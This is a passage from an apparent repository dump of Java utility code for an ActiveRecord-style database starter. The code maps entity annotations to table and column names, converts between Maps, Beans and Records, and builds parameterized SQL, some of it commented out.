sb.append(Character.toLowerCase(c));\n                }\n            }\n            return sb.toString();\n        } else {\n            return name;\n        }\n    }\n\n    /**\n     * 获取类的所有字段（遍历完整继承链，不含 Object）\n     */\n    public static List<Field> allFields(Class<?> clazz) {\n        ArrayList<Field> fields = new ArrayList<>();\n        Class<?> current = clazz;\n        while (current != null && current != Object.class) {\n            fields.addAll(Arrays.asList(current.getDeclaredFields()));\n            current = current.getSuperclass();\n        }\n        return fields;\n    }\n\n    // ==================== 表名/列名解析 (原MapKit) ====================\n\n    /**\n     * 获取实体对应的表名，优先级：@Table(JPA) > @TableName(MyBatis-Plus) > 类名转下划线\n     *\n     * @param bean 实体对象或Class\n     * @return 表名\n     */\n    public static String getTableName(Object bean) {\n        String tableName;\n        if (bean instanceof Class) {\n            Class<?> clazz = (Class<?>) bean;\n            tableName = toUnderlineCase(clazz.getSimpleName());\n            if (AnnotationUtil.hasAnnotation(clazz, Table.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, Table.class, \"name\");\n            } else if (AnnotationUtil.hasAnnotation(clazz, TableName.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, TableName.class, \"value\");\n            }\n        } else {\n            Class<?> clazz = bean.getClass();\n            tableName = toUnderlineCase(clazz.getSimpleName());\n            if (AnnotationUtil.hasAnnotation(clazz, Table.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, Table.class, \"name\");\n            } else if (AnnotationUtil.hasAnnotation(clazz, TableName.class)) {\n                tableName = AnnotationUtil.getAnnotationValue(clazz, TableName.class, \"value\");\n            }\n        }\n        return tableName;\n    }\n\n    /**\n     * 获取字段对应的数据库列名，优先级：\n     * - @Transient / transient修饰符 → 返回null（跳过）\n     * - @TableField(MyBatis-Plus, exist=false) → 返回null（跳过）\n     * - @TableField(MyBatis-Plus) → 使用value值\n     * - @Column(JPA) → 使用name值\n     * - 默认 → 字段名转下划线\n     *\n     * @param field 字段\n     * @return 列名，null表示该字段应跳过\n     */\n    public static String getColumnName(Field field) {\n        if (Modifier.isTransient(field.getModifiers())) {\n            return null;\n        }\n        String columnName = toUnderlineCase(field.getName());\n        if (AnnotationUtil.hasAnnotation(field, Transient.class)) {\n            return null;\n        }\n        if (AnnotationUtil.hasAnnotation(field, TableField.class)) {\n            columnName = AnnotationUtil.getAnnotationValue(field, TableField.class, \"value\");\n            Boolean existFlag = AnnotationUtil.getAnnotationValue(field, TableField.class, \"exist\");\n            if (existFlag != null && !existFlag) {\n                return null;\n            }\n        } else if (AnnotationUtil.hasAnnotation(field, Column.class)) {\n            String name = AnnotationUtil.getAnnotationValue(field, Column.class, \"name\");\n            if (name != null && !name.isEmpty()) {\n                columnName = name;\n            }\n        }\n        return columnName;\n    }\n\n    // ==================== Map <-> Bean 转换 (原MapKit) ====================\n\n    /**\n     * Map列表转Bean列表\n     */\n    public static <T> List<T> mapToBeans(List<Map<String, Object>> lists, Class<T> clazz) {\n        List<T> datas = new ArrayList<>();\n        if (lists != null && !lists.isEmpty()) {\n            lists.forEach(map -> datas.add(mapToBean(map, clazz)));\n        }\n        return datas;\n    }\n\n    /**\n     * Map转Bean（通过FastJSON2序列化/反序列化实现）\n     */\n    public static <T> T mapToBean(Map<String, Object> map, Class<T> clazz) {\n        if (map == null || map.isEmpty()) {\n            return null;\n        }\n        try {\n            return JSONObject.parseObject(JSONObject.toJSONString(map), clazz);\n        } catch (Exception e) {\n            throw new RuntimeException(\"Map转Bean失败: \" + e.getMessage(), e);\n        }\n    }\n\n    /**\n     * Bean转Map（字段名转驼峰作为key，使用缓存元数据）\n     */\n    public static Map<String, Object> beanToMap(Object bean) {\n        Map<String, Object> map = new HashMap<>();\n        try {\n            for (FieldMeta meta : getFieldMetas(bean.getClass())) {\n                if (meta.columnName == null) continue;\n                Object val = meta.field.get(bean);\n                if (val != null) {\n                    map.put(toCamelCase(meta.columnName), val);\n                }\n            }\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n        return map;\n    }\n\n    /**\n     * Bean列表转Map列表\n     */\n    public static <T> List<Map<String, Object>> beanToMaps(List<T> lists) {\n        List<Map<String, Object>> datas = new ArrayList<>();\n        if (lists != null && !lists.isEmpty()) {\n            lists.forEach(obj -> datas.add(beanToMap(obj)));\n        }\n        return datas;\n    }\n\n    // ==================== Record <-> Map 转换 ====================\n\n    /**\n     * Record列表转Map列表\n     */\n    public static List<Map<String, Object>> recordToMaps(List<Record> recordList) {\n        if (recordList == null || recordList.isEmpty()) {\n            return new ArrayList<>();\n        }\n        List<Map<String, Object>> list = new ArrayList<>();\n        for (Record record : recordList) {\n            list.add(recordToMap(record));\n        }\n        return list;\n    }\n\n    /**\n     * Record转Map\n     */\n    public static Map<String, Object> recordToMap(Record record) {\n        if (record == null) {\n            return new HashMap<>();\n        }\n        return new HashMap<>(record.getColumns());\n    }\n\n    /**\n     * Record分页结果转Map分页结果\n     */\n    public static Page<Map<String, Object>> pageRecordToPageMap(Page<Record> pageList) {\n        if (pageList == null) {\n            return null;\n        }\n        Page<Map<String, Object>> page = new Page<>();\n        page.setList(recordToMaps(pageList.getList()));\n        page.setPageNumber(pageList.getPageNumber());\n        page.setPageSize(pageList.getPageSize());\n        page.setTotalPage(pageList.getTotalPage());\n        page.setTotalRow(pageList.getTotalRow());\n        return page;\n    }\n\n    /**\n     * Map转Record（key保持原样）\n     */\n    public static Record mapToRecord(Map<String, Object> map) {\n        Record record = new Record();\n        if (map != null) {\n            for (Map.Entry<String, Object> entry : map.entrySet()) {\n                record.set(entry.getKey(), entry.getValue());\n            }\n        }\n        return record;\n    }\n\n    /**\n     * Map列表转Record列表\n     */\n    public static List<Record> mapToRecords(List<Map<String, Object>> maps) {\n        List<Record> records = new ArrayList<>();\n        if (maps != null && !maps.isEmpty()) {\n            for (Map<String, Object> map : maps) {\n                records.add(mapToRecord(map));\n            }\n        }\n        return records;\n    }\n\n    // ==================== Record <-> Bean 转换 ====================\n\n    /**\n     * Record列表转Bean列表\n     */\n    public static <T> List<T> recordToBeans(List<Record> recordList, Class<T> clazz) {\n        if (recordList == null || recordList.isEmpty()) {\n            return new ArrayList<>();\n        }\n        List<T> list = new ArrayList<>();\n        for (Record record : recordList) {\n            list.add(recordToBean(record, clazz));\n        }\n        return list;\n    }\n\n    /**\n     * Record转Bean\n     */\n    public static <T> T recordToBean(Record record, Class<T> clazz) {\n        if (record == null) {\n            return null;\n        }\n        return mapToBean(record.getColumns(), clazz);\n    }\n\n    /**\n     * Bean转Record（字段名根据注解解析为数据库列名，使用缓存元数据）\n     */\n    public static Record beanToRecord(Object bean) {\n        Record record = new Record();\n        try {\n            for (FieldMeta meta : getFieldMetas(bean.getClass())) {\n                if (meta.columnName == null) continue;\n                Object val = meta.field.get(bean);\n                if (val != null) {\n                    record.put(meta.columnName, val);\n                }\n            }\n        } catch (IllegalAccessException e) {\n            throw new RuntimeException(e);\n        }\n        return record;\n    }\n\n    /**\n     * Bean列表转Record列表\n     */\n    public static <T> List<Record> beanToRecords(List<T> lists) {\n        List<Record> datas = new ArrayList<>();\n        if (lists != null && !lists.isEmpty()) {\n            lists.forEach(obj -> datas.add(beanToRecord(obj)));\n        }\n        return datas;\n    }\n\n    // ==================== ResultSet处理 ====================\n\n    /**\n     * ResultSet构建Record列表\n     */\n    public static List<Record> build(ResultSet rs) throws SQLException {\n        return build(rs, null);\n    }\n\n    /**\n     * ResultSet构建Record列表（支持回调函数逐条处理）\n     */\n    public static List<Record> build(ResultSet rs, Function<Record, Boolean> func) throws SQLException {\n        List<Record> result = new ArrayList<>();\n        ResultSetMetaData rsmd = rs.getMetaData();\n        int columnCount = rsmd.getColumnCount();\n        String[] labelNames = new String[columnCount + 1];\n        int[] types = new int[columnCount + 1];\n        buildLabelNamesAndTypes(rsmd, labelNames, types);\n        while (rs.next()) {\n            Record record = new Record();\n            Map<String, Object> columns = record.getColumns();\n            for (int i = 1; i <= columnCount; i++) {\n                Object value;\n                if (types[i] < Types.BLOB) {\n                    value = rs.getObject(i);\n                } else {\n                    if (types[i] == Types.CLOB) {\n                        value = handleClob(rs.getClob(i));\n                    } else if (types[i] == Types.NCLOB) {\n                        value = handleClob(rs.getNClob(i));\n                    } else if (types[i] == Types.BLOB) {\n                        value = handleBlob(rs.getBlob(i));\n                    } else {\n                        value = rs.getObject(i);\n                    }\n                }\n                columns.put(labelNames[i], value);\n            }\n            if (func == null) {\n                result.add(record);\n            } else {\n                if (!func.apply(record)) {\n                    break;\n                }\n            }\n        }\n        return result;\n    }\n\n    public static void buildLabelNamesAndTypes(ResultSetMetaData rsmd, String[] labelNames, int[] types) throws SQLException {\n        for (int i = 1; i < labelNames.length; i++) {\n            labelNames[i] = rsmd.getColumnLabel(i);\n            types[i] = rsmd.getColumnType(i);\n        }\n    }\n\n    public static byte[] handleBlob(Blob blob) throws SQLException {\n        if (blob == null) return null;\n        InputStream is = null;\n        try {\n            is = blob.getBinaryStream();\n            if (is == null) return null;\n            int total = (int) blob.length();\n            if (total == 0) return null;\n            byte[] data = new byte[total];\n            int offset = 0;\n            while (offset < total) {\n                int read = is.read(data, offset, total - offset);\n                if (read == -1) break;\n                offset += read;\n            }\n            return data;\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        } finally {\n            if (is != null) try { is.close(); } catch (IOException e) { /* ignore close error */ }\n        }\n    }\n\n    public static String handleClob(Clob clob) throws SQLException {\n        if (clob == null) return null;\n        Reader reader = null;\n        try {\n            reader = clob.getCharacterStream();\n            if (reader == null) return null;\n            int total = (int) clob.length();\n            if (total == 0) return null;\n            char[] buffer = new char[total];\n            int offset = 0;\n            while (offset < total) {\n                int read = reader.read(buffer, offset, total - offset);\n                if (read == -1) break;\n                offset += read;\n            }\n            return new String(buffer, 0, offset);\n        } catch (IOException e) {\n            throw new RuntimeException(e);\n        } finally {\n            if (reader != null) try { reader.close(); } catch (IOException e) { /* ignore close error */ }\n        }\n    }\n\n    // ==================== SQL调试工具 (原SqlUtil.getSql) ====================\n\n    /**\n     * 将SQL语句中的?占位符替换为实际参数值，用于调试日志输出\n     */\n    public static String formatSql(String sql, Object[] params) {\n        if (params == null || params.length == 0) {\n            return sql;\n        }\n        StringTokenizer st = new StringTokenizer(sql, \"?\", true);\n        StringBuilder bf = new StringBuilder();\n        int i = 0;\n        while (st.hasMoreTokens()) {\n            String temp = st.nextToken();\n            if (temp.equals(\"?\") && i < params.length) {\n                bf.append(\"'\").append(params[i]).append(\"'\");\n                i++;\n            } else {\n                bf.append(temp);\n            }\n        }\n        return bf.toString();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/SqlContext.java",
    "content": "//package io.github.wujun728.db.utils;\n//\n//public class SqlContext {\n//\n//\t// sql语句\n//\tprivate StringBuilder sql;\n//\t// sql中?对应的参数\n//\tprivate Object[] params;\n//\n//\tpublic SqlContext() {\n//\t}\n//\n//\tpublic SqlContext(StringBuilder sql) {\n//\t\tthis.sql = sql;\n//\t}\n//\n//\tpublic SqlContext(StringBuilder sql, Object[] params) {\n//\t\tthis.sql = sql;\n//\t\tthis.params = params;\n//\t}\n//\n//\tpublic String getSql() {\n//\t\treturn sql.toString();\n//\t}\n//\n//\tpublic StringBuilder getSqlBuilder() {\n//\t\treturn sql;\n//\t}\n//\n//\tpublic void setSql(StringBuilder sql) {\n//\t\tthis.sql = sql;\n//\t}\n//\n//\tpublic void setSql(String sql) {\n//\t\tthis.sql = new StringBuilder(sql);\n//\t}\n//\n//\tpublic Object[] getParams() {\n//\t\treturn params;\n//\t}\n//\n//\tpublic void setParams(Object[] params) {\n//\t\tthis.params = params;\n//\t}\n//\n//}"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/utils/SqlUtils.java",
    "content": "//package io.github.wujun728.db.utils;\n//\n//\n//import cn.hutool.core.annotation.AnnotationUtil;\n//import cn.hutool.core.collection.CollectionUtil;\n//import cn.hutool.core.util.StrUtil;\n//import com.baomidou.mybatisplus.annotation.TableField;\n//import com.baomidou.mybatisplus.annotation.TableId;\n//import com.baomidou.mybatisplus.annotation.TableName;\n//\n//import javax.persistence.Column;\n//import javax.persistence.Id;\n//import javax.persistence.Table;\n//import javax.persistence.Transient;\n//import java.lang.reflect.AnnotatedElement;\n//import java.lang.reflect.Field;\n//import java.util.ArrayList;\n//import java.util.List;\n//import java.util.Map;\n//import java.util.Map.Entry;\n//\n//import static io.github.wujun728.db.record.DbPro.getPkNames;\n//\n//\n//public class SqlUtils {\n//\n//\tprivate static final String SELECT = \"SELECT * FROM \";\n//\tprivate static final String SELECTCOUNT = \"SELECT COUNT(*) \";\n//\tprivate static final String INSERT = \"INSERT INTO \";\n//\tprivate static final String UPDATE = \"UPDATE \";\n//\tprivate static final String SET = \" SET \";\n//\tprivate static final String WHERE = \" WHERE \";\n//\tprivate static final String WHEREOK = \" WHERE 1=1\";\n//\tprivate static final String WHERENO = \" WHERE 1=2\";\n//\tprivate static final String DELETE = \"DELETE FROM \";\n//\tprivate static final String LEFT = \"(\";\n//\tprivate static final String VALUES = \") VALUES (\";\n//\tprivate static final String RIGHT = \")\";\n//\tprivate static final String AND = \" AND \";\n//\tprivate static final String OR = \" OR \";\n//\tprivate static final String LINK = \",\";\n//\tprivate static final String OCCUPY = \"?,\";\n//\tprivate static final String EQUAL = \"=?\";\n//\tprivate static final String EQUAL_LINK = \"=?,\";\n//\tprivate static final String EQUAL_AND = \"=? AND \";\n//\tprivate static final String FROM = \"FROM\";\n//\tprivate static final String ORDER = \"ORDER BY\";\n//\tprivate static final String LIMIT = \" LIMIT \";\n//\tprivate static final String order = \"order by\";\n//\tprivate static final String limit = \" limit \";\n//\tprivate static final String from = \"from\";\n//\tprivate static final String EMPTY = \"\";\n//\tprivate static final String R_ORDER = \"ORDER.*\";\n//\tprivate static final String R_LIMIT = \"LIMIT.*\";\n//\n//\n//\tpublic static String getTableName(Object bean) {\n//\t\tString tableName = \"\";\n//\t\tif(bean instanceof Class){\n//\t\t\ttableName = ((Class)bean).getSimpleName();\n//\t\t\ttableName = FieldUtils.getUnderlineName(tableName);\n//\t\t\tClass clazz = (Class) bean;\n//\t\t\tif(AnnotationUtil.hasAnnotation(clazz,Table.class)){\n//\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz,Table.class,\"name\");\n//\t\t\t}else if(AnnotationUtil.hasAnnotation(clazz,TableName.class)){\n//\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz,TableName.class,\"value\");\n//\t\t\t}/*else if(AnnotationUtil.hasAnnotation(clazz,Entity.class)){\n//\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(clazz, Entity.class,\"table\");\n//\t\t\t}*/\n//\t\t}else{\n//\t\t\ttableName = FieldUtils.getUnderlineName(bean.getClass().getSimpleName());\n//\t\t\tif(AnnotationUtil.hasAnnotation(bean.getClass(),Table.class)){\n//\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(),Table.class,\"name\");\n//\t\t\t}else if(AnnotationUtil.hasAnnotation(bean.getClass(),TableName.class)){\n//\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(),TableName.class,\"value\");\n//\t\t\t}/*else if(AnnotationUtil.hasAnnotation(bean.getClass(),Entity.class)){\n//\t\t\t\ttableName = AnnotationUtil.getAnnotationValue(bean.getClass(), Entity.class,\"table\");\n//\t\t\t}*/\n//\t\t}\n//\n//\t\treturn tableName;\n//\t}\n//\t/**\n//\t * 构建insert语句\n//\t *\n//\t * @param bean\n//\t *            实体映射对象\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getInsert(Object bean) {\n//\t\tList<Object> values = new ArrayList<Object>();\n//\t\tStringBuilder sql = new StringBuilder();\n//\t\tStringBuilder cols = new StringBuilder();\n//\t\tStringBuilder placeholder = new StringBuilder();\n//\t\ttry {\n//\t\t\tClass<?> cls = bean.getClass();\n//\t\t\tfor (Field field : cls.getDeclaredFields()) {\n//\t\t\t\tfield.setAccessible(true);\n//\t\t\t\tObject val = field.get(bean);\n//\t\t\t\tif (val != null) {\n//\t\t\t\t\t//Mark Mysql\n//\t\t\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n//\t\t\t\t\tString columndNameNew = '`'+columndName+'`';\n//\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n//\t\t\t\t\t\tcontinue;\n//\t\t\t\t\t}\n//\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n//\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n//\t\t\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n//\t\t\t\t\t\tif(existFlag==false){\n//\t\t\t\t\t\t\tcontinue;\n//\t\t\t\t\t\t}\n//\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n//\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n//\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t}/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n//\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n//\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t}*/\n//\t\t\t\t\tcols.append(columndNameNew).append(LINK);\n//\t\t\t\t\tplaceholder.append(OCCUPY);\n//\t\t\t\t\tvalues.add(val);\n//\t\t\t\t}\n//\t\t\t}\n//\t\t\tif(cols.length()>0){\n//\t\t\t\tcols.deleteCharAt(cols.length() - 1);\n//\t\t\t}\n//\t\t\tif(placeholder.length()>0){\n//\t\t\t\tplaceholder.deleteCharAt(placeholder.length() - 1);\n//\t\t\t}\n//\t\t\tsql.append(INSERT);\n//\t\t\tString tableName = getTableName(bean);\n//\t\t\tsql.append(tableName);\n//\t\t\tsql.append(LEFT);\n//\t\t\tsql.append(cols);\n//\t\t\tsql.append(VALUES);\n//\t\t\tsql.append(placeholder);\n//\t\t\tsql.append(RIGHT);\n//\t\t} catch (IllegalAccessException e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n//\t\treturn new SqlContext(sql, values.toArray());\n//\t}\n//\n//\t/**\n//\t * 构建update语句\n//\t *\n//\t * @param bean\n//\t *            实体映射对象\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getUpdate(Object bean) {\n//\t\tList<Object> values = new ArrayList<Object>();\n//\t\tList<Object> wheresValue = new ArrayList<Object>();\n//\t\tStringBuilder sql = new StringBuilder();\n//\t\tStringBuilder cols = new StringBuilder();\n//\t\tStringBuilder where = new StringBuilder();\n//\t\tString tableName = getTableName(bean);\n//\t\tString primaryKeyStr = getPkNames(tableName);\n//\t\ttry {\n//\t\t\tClass<?> cls = bean.getClass();\n//\t\t\tfor (Field field : cls.getDeclaredFields()) {\n//\t\t\t\tfield.setAccessible(true);\n//\t\t\t\tObject val = field.get(bean);\n//\t\t\t\tif (val != null) {\n//\t\t\t\t\t//Mark Mysql\n//\t\t\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n//\t\t\t\t\tString columndNameNew = '`'+columndName+'`';\n//\t\t\t\t\tif (/*field.isAnnotationPresent(PK.class)  ||*/ /*field.isAnnotationPresent(Id.class)*/ AnnotationUtil.hasAnnotation(field,Id.class)\n//\t\t\t\t\t\t\t|| /*field.isAnnotationPresent(TableId.class)*/  AnnotationUtil.hasAnnotation(field,TableId.class)  || primaryKeyStr.contains(columndName)) {\n//\t\t\t\t\t\t/*if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n//\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n//\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t\t}*/\n//\t\t\t\t\t\twhere.append(columndNameNew).append(EQUAL_AND);\n//\t\t\t\t\t\twheresValue.add(val);\n//\t\t\t\t\t} else {\n//\t\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n//\t\t\t\t\t\t\tcontinue;\n//\t\t\t\t\t\t}\n//\t\t\t\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n//\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n//\t\t\t\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n//\t\t\t\t\t\t\tif(existFlag==false){\n//\t\t\t\t\t\t\t\tcontinue;\n//\t\t\t\t\t\t\t}\n//\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n//\t\t\t\t\t\t\tvalues.add(val);\n//\t\t\t\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n//\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n//\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n//\t\t\t\t\t\t\tvalues.add(val);\n//\t\t\t\t\t\t}/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n//\t\t\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n//\t\t\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n//\t\t\t\t\t\t\tvalues.add(val);\n//\t\t\t\t\t\t}*/else{\n//\t\t\t\t\t\t\tcols.append(columndNameNew).append(EQUAL_LINK);\n//\t\t\t\t\t\t\tvalues.add(val);\n//\t\t\t\t\t\t}\n//\t\t\t\t\t}\n//\t\t\t\t}\n//\t\t\t}\n//\t\t\tif(StrUtil.isEmpty(cols)){\n//\t\t\t\tthrow new RuntimeException(\"待更新的列不能为空！\");\n//\t\t\t}\n//\t\t\tif(StrUtil.isEmpty(where)){\n//\t\t\t\tthrow new RuntimeException(\"待更新的主键列不能为空(无主键建议写SQL直接执行)！\");\n//\t\t\t}\n//\t\t\tcols.deleteCharAt(cols.length() - 1);\n//\t\t\twhere.delete(where.length() - 4, where.length());\n//\t\t\tvalues.addAll(wheresValue);\n//\t\t\tsql.append(UPDATE);\n//\t\t\tsql.append(tableName);\n//\t\t\tsql.append(SET);\n//\t\t\tsql.append(cols);\n//\t\t\tsql.append(WHERE);\n//\t\t\tsql.append(where);\n//\t\t} catch (IllegalAccessException e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n//\t\treturn new SqlContext(sql, values.toArray());\n//\t}\n//\n//\n//\t/**\n//\t * 构建delete语句（删除条件为实体对象@key字段）\n//\t *\n//\t * @param bean\n//\t *            实体映射对象\n//\t * @return\n//\t */\n//\tpublic static SqlContext getDelete(Object bean) {\n//\t\tList<Object> wheresValue = new ArrayList<Object>();\n//\t\tStringBuilder sql = new StringBuilder();\n//\t\tStringBuilder where = new StringBuilder();\n//\t\tString tableName = getTableName(bean);\n//\t\tString primaryKeyStr = getPkNames(tableName);\n//\t\ttry {\n//\t\t\tClass<?> cls = bean.getClass();\n//\t\t\tfor (Field field : cls.getDeclaredFields()) {\n//\t\t\t\tfield.setAccessible(true);\n//\t\t\t\tObject val = field.get(bean);\n//\t\t\t\t//Mark Mysql\n//\t\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n//\t\t\t\tString columndNameNew = '`'+columndName+'`';\n//\n//\t\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n//\t\t\t\t\tcontinue;\n//\t\t\t\t}\n//\t\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n//\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n//\t\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n//\t\t\t\t\tif(existFlag==false){\n//\t\t\t\t\t\tcontinue;\n//\t\t\t\t\t}\n//\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n//\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n//\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t}/*else if(AnnotationUtil.hasAnnotation(field, io.github.wujun728.db.orm.annotation.Column.class)){\n//\t\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field, io.github.wujun728.db.orm.annotation.Column.class,\"name\");\n//\t\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t\t}*/\n//\n//\t\t\t\tif (val != null && (/*field.isAnnotationPresent(PK.class)  ||*/ field.isAnnotationPresent(Id.class)\n//\t\t\t\t\t\t|| field.isAnnotationPresent(TableId.class)  ||  primaryKeyStr.contains(columndName))) {\n//\t\t\t\t\twhere.append(columndNameNew).append(EQUAL_AND);\n//\t\t\t\t\twheresValue.add(val);\n//\t\t\t\t}\n//\t\t\t}\n//\t\t\twhere.delete(where.length() - 4, where.length());\n//\t\t\tsql.append(DELETE);\n//\t\t\t//sql.append(FieldUtils.getUnderlineName(cls.getSimpleName()));\n//\t\t\tsql.append(tableName);\n//\t\t\tsql.append(WHERE);\n//\t\t\tsql.append(where);\n//\t\t} catch (IllegalAccessException e) {\n//\t\t\te.printStackTrace();\n//\t\t}\n//\t\treturn new SqlContext(sql, wheresValue.toArray());\n//\t}\n//\n//\n//\t/**\n//\t * 数组合并\n//\t * @param first\n//\t * @param second\n//\t * @return\n//\t */\n//\tpublic static Object[] concat(Object[] first, Object... second) {\n//\t\tObject[] result = new Object[first.length + second.length];\n//\t\tSystem.arraycopy(first, 0, result, 0, first.length);\n//\t\tSystem.arraycopy(second, 0, result, first.length, second.length);\n//\t\treturn result;\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t *\n//\t * @param cls\n//\t *            类对象\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getSelect(Class<?> cls) {\n//\t\tStringBuilder sql = new StringBuilder(SELECT);\n//\t\tString tableName = getTableName(cls);\n//\t\tsql.append(tableName);\n//\t\t//sql.append(FieldUtils.getUnderlineName(cls.getSimpleName()));\n//\t\treturn new SqlContext(sql);\n//\t}\n//\tpublic static String getSelectSQl(Class<?> cls) {\n//\t\tStringBuilder sql = new StringBuilder(SELECT);\n//\t\tString tableName = getTableName(cls);\n//\t\tsql.append(tableName);\n//\t\t//sql.append(FieldUtils.getUnderlineName(cls.getSimpleName()));\n//\t\treturn sql.toString();\n//\t}\n//\n//\t/**\n//\t * 构建单个对象查询语条件为带有@key的字段\n//\t *\n//\t * @param cls\n//\t *\n//\t * @param id\n//\t *            查询条件\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getByKey(Class<?> cls, Object... id) {\n//\t\tSqlContext sqlContext = getSelect(cls);\n//\t\tStringBuilder sql = sqlContext.getSqlBuilder();\n//\t\tStringBuilder where = new StringBuilder();\n//\t\tsql.append(WHERE);\n//\t\tString tableName = getTableName(cls);\n//\t\tString primaryKeyStr = getPkNames(tableName);\n//\t\tfor (Field field : cls.getDeclaredFields()) {\n//\t\t\tfield.setAccessible(true);\n//\t\t\t//Mark Mysql\n//\t\t\tString columndName = FieldUtils.getUnderlineName(field.getName());\n//\t\t\tString columndNameNew = '`'+columndName+'`';\n//\t\t\tif(AnnotationUtil.hasAnnotation(field, Transient.class)){\n//\t\t\t\tcontinue;\n//\t\t\t}\n//\t\t\tif(AnnotationUtil.hasAnnotation(field,TableField.class)){\n//\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,TableField.class,\"value\");\n//\t\t\t\tBoolean existFlag  = AnnotationUtil.getAnnotationValue(field,TableField.class,\"exist\");\n//\t\t\t\tif(existFlag==false){\n//\t\t\t\t\tcontinue;\n//\t\t\t\t}\n//\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t}else if(AnnotationUtil.hasAnnotation(field, Column.class)){\n//\t\t\t\tcolumndName = AnnotationUtil.getAnnotationValue(field,Column.class,\"name\");\n//\t\t\t\tcolumndNameNew = '`'+columndName+'`';\n//\t\t\t}\n//\n//\t\t\tif (/*field.isAnnotationPresent(PK.class) ||*/ field.isAnnotationPresent(Id.class)\n//\t\t\t\t\t|| field.isAnnotationPresent(TableId.class)   ||  primaryKeyStr.contains(columndName)) {\n//\t\t\t\t//sql.append(columndNameNew).append(EQUAL);\n//\t\t\t\twhere.append(columndNameNew).append(EQUAL_AND);\n//\t\t\t\tsqlContext.setParams( id );\n////\t\t\t\tif(id != null && id.getClass().isArray() ){\n////\t\t\t\t}else{\n////\t\t\t\t\tsqlContext.setParams(new Object[] { id });\n////\t\t\t\t}\n//\t\t\t}\n//\t\t}\n//\t\twhere.delete(where.length() - 4, where.length());\n//\t\tsql.append(where);\n//\t\treturn sqlContext;\n//\t}\n//\n//\t/**\n//\t * 构建select语句\n//\t *\n//\t * @param cls\n//\t *            类对象\n//\t * @param params\n//\t *            查询参数\n//\t * @return sql上下文\n//\t */\n//\tpublic static SqlContext getSelect(Class<?> cls, Map<String, Object> params) {\n//\t\tSqlContext sqlContext = 